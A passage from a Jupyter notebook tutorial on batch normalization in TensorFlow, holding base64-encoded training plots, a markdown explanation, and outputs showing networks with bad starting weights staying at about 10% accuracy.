\n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\nrkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa7c35a2e8>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(True, 1, tf.nn.relu)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "When we used these same parameters [earlier](#successful_example_lr_1), we saw the network with batch normalization reach 92% validation accuracy. This time we used different starting weights, initialized using the same standard deviation as before, and the network doesn't learn at all. (Remember, an accuracy around 10% is what the network gets if it just guesses the same value all the time.)\n", "\n", "**The following creates two networks using a ReLU activation function, a learning rate of 2, and bad starting weights.**" ] }, { "cell_type": "code", "execution_count": 21, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:35<00:00, 1398.39it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.0957999974489212\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:34<00:00, 529.50it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.09859999269247055\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.09799998998641968\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.10100000351667404\n" ] }, { "data": { "image/png": "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\nYEcl9